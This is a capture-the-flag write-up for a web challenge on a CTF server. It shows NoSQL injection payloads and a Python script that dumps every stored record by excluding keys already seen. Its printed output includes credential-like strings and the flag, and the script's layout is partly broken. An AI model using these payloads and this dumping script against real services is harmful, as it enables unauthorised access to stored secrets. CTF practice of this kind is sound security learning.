

# dot-private-key

url: <http://ctf.ac.upt.ro:9448>

Got a file with some key. Entering a key in the specific key types retrieved a site where i guess the password was leaked.

There are type of keys were not given in the keys file. So i captured a POST request.

```
{
  "key": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9eyJhbnVsbG8iIDozfQ==",
  "type": "other"
}
```

So i thought about a NoSQL injection to match any key with the type.

```
{
  "key": {
    "$ne": null
  },
  "type": "db"
}
```

And indeed it worked.

## Breach Sources: 2

- Breach source: <https://pgadmin.org>
- Breach source: <http://localhost:3000>

Then i used the following script that iteratively excludes seen keys and requests another document until no more are returned.

```
#!/usr/bin/env python3
import requests
import json

URL = "http://ctf.ac.upt.ro:9448/key"

seen_keys = set()
dump = []

while True:
    # Payload: match any key not yet seen, type must exist
    payload = {"key": {"$nin": list(seen_keys)} if seen_keys else {"$ne": None},
              "type": {"$ne": None}}

    try:
```

```

r = requests.post(URL, json=payload, timeout=5)
try:
    data = r.json()
except ValueError:
    print("[INFO] Invalid JSON received, stopping iteration")
    break

breach = data.get("breach")
if not breach:
    print("[INFO] No more breaches returned")
    break

key = breach.get("key")
t = breach.get("type")
sources = breach.get("sources", [])

# Skip invalid or non-string types (prototype pollution objects)
if not isinstance(t, str):
    print(f"[WARN] Skipping invalid type: {t}")
    continue

# Skip duplicates
if key in seen_keys:
    continue

seen_keys.add(key)
dump.append(breach)
print(f"[DUMPED] Type={t}, Key={key}, Sources={sources}")

except Exception as e:
    print(f"[ERROR] {e}")
    break

# Save full dump to a JSON file
with open("breaches_dump.json", "w") as f:
    json.dump(dump, f, indent=2)

print(f"\nDone! Total breaches dumped: {len(dump)}")
print("Saved to breaches_dump.json")

```

Running the script, we get the flag.

```
[x]-[grd@parrot]-[~/Desktop/54L1V4/web/dot-private-key]
$python3 exploit.py
[DUMPED] Type=api, Key=sk_live_51H6fGvJw9Q2x8v3KpL2b, Sources=['https://dashboard.stripe.com', 'https://past
[DUMPED] Type=api, Key=api_12345-ABCDE-67890-FGHIJ, Sources=['https://dev.api.com', 'http://hacker.website']
[DUMPED] Type=pgp, Key=mQENBFu2rXABCADL1vK3Qw==, Sources=['https://mail.proton.me']
[DUMPED] Type=pgp, Key=-----BEGIN PGP PRIVATE KEY BLOCK-----
Version: GnuPG v2
... (seen_keys) ... (seen_keys_block { and ~ None),
..., Sources=['https://keyserver.ubuntu.com', 'http://hacker.website']
[DUMPED] Type=ssh, Key=ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAICv1Qw2v3KpL2bJw9Q2x8v3KpL2b, Sources=['ht
[DUMPED] Type=ssh, Key=ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAQAC7vK3Qw9Q2x8v3KpL2bJw9Q2x8v3KpL2b, Sources=['ht
[DUMPED] Type=aws, Key=AKIAIOSFODNN7EXAMPLE, Sources=['https://console.aws.amazon.com', 'http://localhost:30
[DUMPED] Type=aws, Key=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY, Sources=['https://s3.amazonaws.com', 'http
[DUMPED] Type=db, Key=postgres://user:pass@localhost:5432/dbname, Sources=['https://pgadmin.org', 'http://lo
[DUMPED] Type=db, Key=mongodb://admin:secret@mongo:27017/mydb, Sources=['https://cloud.mongodb.com', 'http:/
[DUMPED] Type=other, Key=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9eyJhbnVsbG8iOiJDozFQ==, Sources=['https://impkb.
[DUMPED] Type=other, Key=supersecretpassword123!, Sources=['https://myapp.com', 'http://hacker.website']
[DUMPED] Type=other, Key=ctf{284dc217ce36b9133c561207af3dbf6b8656323d6375f3f5c8c955be0a2aab66}, Sources=[]
[DUMPED] Type=api, Key=;, Sources=[]
[DUMPED] Type=api, Key=:! "%& /()=?` Sources=[]
```